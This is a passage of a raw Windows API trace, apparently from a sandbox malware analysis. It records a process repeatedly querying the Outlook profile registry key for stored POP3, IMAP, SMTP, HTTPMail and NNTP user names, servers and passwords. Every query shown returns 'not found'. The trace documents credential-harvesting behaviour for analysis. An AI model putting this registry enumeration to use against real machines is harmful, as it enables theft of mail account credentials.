lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.976] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.976] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.976] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.977] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.977] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.977] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.978] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.978] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.978] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.979] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.979] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.980] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.980] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.980] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.981] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.981] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.981] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.981] RegCloseKey 